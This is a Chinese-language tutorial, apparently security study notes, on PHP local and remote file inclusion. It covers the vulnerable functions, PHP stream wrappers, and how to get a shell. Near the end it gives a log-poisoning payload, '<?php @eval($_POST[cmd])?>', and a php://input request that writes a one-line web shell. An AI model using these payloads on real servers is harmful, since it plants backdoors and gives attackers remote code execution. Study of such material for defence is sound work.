文件包含漏洞
什么是文件包含
簡單一句話,為了更好地使用代碼的重用性,引入了文件包含函數,可以通過文件包含函數將文件包含進來,直接使用包含文件的代碼。
文件包含漏洞成因
在包含文件時候,為了靈活包含文件,將被包含文件設置為變量,通過動態(tài)變量來引入需要包含的文件時,用戶可以對變量的值可控而服務器端未對變量值進行合理地校驗或者校驗被繞過,這樣就導致了文件包含漏洞。通常文件包含漏洞出現在PHP語言中。
PHP文件包含的函數
include(‘file.php’)
當使用該函數包含文件時,只有代碼執(zhí)行到 include()函數時才將文件包含
進來,發(fā)生錯誤時之給出一個警告,繼續(xù)向下執(zhí)行。
include_once( )
功能與 Include()相同,區(qū)別在于當重復調用同一文件時,程序只調用一次
require( )
require()與 include()的區(qū)別在于 require()執(zhí)行如果發(fā)生錯誤,函數會輸出
錯誤信息,并終止腳本的運行。
require_once( )
功能與 require()相同,區(qū)別在于當重復調用同一文件時,程序只調用一次。
文件包含漏洞分類
本地文件包含漏洞(LFI)->local file include
當包含的文件在服務器本地時,就形成了本地文件包含。
//lfi.php ?file=../phpinfo.txt
先說一下文件包含的一個要點:文件包含可以包含任意文件,即便被包含的文件并不是與當前編程語言相關,甚至為圖片,只要文件被包含,其內容會被包含文件包含,并以當前服務器腳本語言執(zhí)行。
可以看到,以上代碼中可以控制可控參數file來控制包含的$file的值。
如果包含的文件內容不符合php語言語法的,會直接將文件內容輸出,比如:
?file=../file.txt
遠程文件包含漏洞(RFI)->remote file include
遠程文件包含,可以包含遠程文件
利用條件
allow_url_fopen=On
allow_url_include=On
PHP偽協(xié)議加載文件
file:// — 訪問本地文件系統(tǒng) //allow_url_fopen和allow_url_include
雙Off情況下可正常使用
http:// — 訪問 HTTP(s) 網址 //allow_url_fopen和allow_url_include雙on
情況下可正常使用
ftp:// — 訪問 FTP(s) URLs
php:// — 訪問各個輸入/輸出流(I/O streams) //不需要開啟allow_url_fopen(僅
php://input,php://stdin,php://memory和php://temp需要allow_url_include=On)
zlib:// — 壓縮流 //雙Off條件下可使用
data:// — 數據(RFC 2397) //雙On
glob:// — 查找匹配的文件路徑模式
phar:// — PHP 歸檔
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音頻流
expect:// — 處理交互式的流
具體利用參考文件包含漏洞.xlsx
利用文件包含漏洞getshell
利用日志文件getshell
隨便請求一個url/<?php @eval($_POST[cmd])?>
此請求會被記錄到訪問日志文件中,linux apache在/var/log/httpd/access.log中
再利用文件包含漏洞將日志文件包含進來,即可getshell
利用偽協(xié)議執(zhí)行shell或寫入shell
執(zhí)行shell參考文件包含漏洞.xlsx中提供的方法
寫shell
?file=php://input
POST
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>